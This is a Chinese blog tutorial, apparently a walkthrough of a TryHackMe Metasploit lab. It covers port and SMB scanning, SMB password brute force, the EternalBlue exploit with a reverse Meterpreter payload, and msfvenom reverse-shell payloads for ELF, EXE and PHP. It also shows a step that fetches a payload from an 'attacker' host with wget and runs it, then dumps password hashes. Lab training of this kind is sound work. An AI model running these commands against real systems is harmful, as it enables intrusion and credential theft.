当前位置:首页 > 技术 > 正文内容

Metasploit 渗透测试框架实战指南

访客 技术 2026年6月2日 1

相关实验环境:TryHackMe Metasploit Exploitation Room

概述

本文将深入探讨如何运用 Metasploit 框架进行系统扫描、漏洞分析及安全利用。同时介绍其内置数据库功能如何提升大型渗透项目的管理效率,并详细说明 msfvenom 工具生成各类载荷的方法,以及在多种平台部署 Meterpreter 会话的技术。

主要内容包括:

  • 目标系统的端口与服务探测
  • Metasploit 数据库功能的应用
  • 自动化漏洞扫描技术
  • 服务漏洞的实际利用过程
  • Msfvenom 载荷生成与部署策略

对于涉及字典文件的任务(如暴力破解),推荐使用 AttackBox 提供的词典:
/usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt

目标侦察与端口扫描

基础理论

端口探测

Metasploit 内置多个端口扫描模块,可通过 search portscan 查找:

msf6 > search portscan

Matching Modules
================

   #  Name                                              Disclosure Date  Rank    Check  Description
   -  ----                                              ---------------  ----    -----  -----------
   0  auxiliary/scanner/portscan/ack                                     normal  No     TCP ACK Firewall Scanner
   1  auxiliary/scanner/portscan/syn                                     normal  No     TCP SYN Port Scanner
   2  auxiliary/scanner/portscan/tcp                                     normal  No     TCP Port Scanner
   3  auxiliary/scanner/portscan/xmas                                    normal  No     TCP "XMas" Port Scanner

常用配置参数:

  • CONCURRENCY: 并发扫描连接数
  • PORTS: 扫描端口范围(注意与 Nmap 默认行为差异)
  • RHOSTS: 目标主机地址
  • THREADS: 扫描线程数量

也可直接在 msfconsole 中调用 nmap:

msf6 > nmap -sS 10.10.12.229

UDP 服务探测

使用 scanner/discovery/udp_sweep 快速识别 UDP 服务:

msf6 auxiliary(scanner/discovery/udp_sweep) > run
[*] Discovered NetBIOS on 10.10.12.229:137

SMB 服务分析

SMB 扫描模块在内网渗透中极为重要:

msf6 auxiliary(scanner/smb/smb_version) > run
[+] 10.10.12.229:445 - Host is running Windows 7 Professional SP1

实践操作

端口扫描执行流程:

search portscan
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.43.5
set THREADS 4
run

NetBIOS 服务识别:

search netbios/nbname
use auxiliary/scanner/netbios/nbname
set RHOSTS 10.10.43.5
run

SMB 登录爆破(已知用户名 penny):

search smb_login
use auxiliary/scanner/smb/smb_login
set PASS_FILE /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
set SMBUser penny
set RHOSTS 10.10.43.5
run

Metasploit 数据库管理

核心概念

数据库功能主要用于多目标项目管理,避免参数混淆。

启动 PostgreSQL 并初始化数据库:

systemctl start postgresql
msfdb init

验证数据库连接状态:

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

工作区管理:

workspace                    # 列出工作区
workspace -a target_project  # 创建新工作区
workspace target_project     # 切换工作区

集成 Nmap 扫描(结果自动入库):

db_nmap -sV -p- 10.10.128.9

查询扫描结果:

hosts     # 显示发现主机
services  # 显示开放服务

批量设置目标:

hosts -R  # 将所有主机填入 RHOSTS

漏洞扫描与分析

扫描原理

Metasploit 能快速定位"易攻击点",这些漏洞往往能快速获取系统访问权限。

以 VNC 服务为例:

use auxiliary/scanner/vnc/
show auxiliary/scanner/vnc/
use auxiliary/scanner/vnc/vnc_none_auth
info

SMTP 服务探测

use auxiliary/scanner/smtp/
use auxiliary/scanner/smtp/smtp_enum
info

漏洞利用技术

基础流程

Metasploit 的 exploit 模块是核心组件:

search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show payloads
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.161.57
set RHOSTS 10.10.173.8
exploit

会话管理:

sessions -l     # 列出活动会话
sessions -i 1   # 交互指定会话

Msfvenom 载荷生成

工具概述

Msfvenom 集成了载荷生成与编码功能,支持多种格式与平台。

查看支持格式:

msfvenom --list formats

常用载荷示例

Linux ELF 格式:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=4444 -f elf > shell.elf

Windows EXE 格式:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=4444 -f exe > shell.exe

PHP 脚本格式:

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=4444 -f raw > shell.php

载荷处理

使用 multi/handler 接收反向连接:

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 10.10.163.171
set LPORT 4444
run

实战部署

在目标系统执行载荷:

wget http://attacker:9000/shell.elf
chmod +x shell.elf
./shell.elf

获取系统凭证:

run post/linux/gather/hashdump

相关文章

Linux crontab 详解

1) crontab 是什么cron 是 Linux 的定时任务守护进程;crontab 是用来编辑/查看“按时间周期执行命令”的表(cron table)。常见两类:用户 crontab:每个用户一份(crontab -e 编辑)系统级 crontab / cron.d:可指定执行用户(/etc/crontab、/etc/cron.d/*)2) crontab 时间...

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

Laravel 事件和监听器创建

在 Laravel 中,使用 Artisan 命令创建 Events(事件) 和 Listeners(监听器) 是非常高效的。你可以通过以下几种方式来实现:1. 手动创建单个 Event如果你只想创建一个事件类,可以使用 make:event 命令:Bashphp artisan make:event UserRegistered执行后,文件将生成在 app/Even...

自定义域名解析神器 dnsmasq

什么是 dnsmasq?dnsmasq 是一个轻量级、功能强大的网络服务工具,专为小型和中等规模网络设计。它是一个综合的网络基础设施解决方案[1]。dnsmasq 能做什么?功能说明应用场景DNS 转发与缓存将 DNS 查询转发到上游服务器(ISP、Google DNS 等),并在本地缓存结果加快 DNS 查询速度,减少外部 DNS 流量本地 DNS解析本地网络设备的主机名,无需编辑&n...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。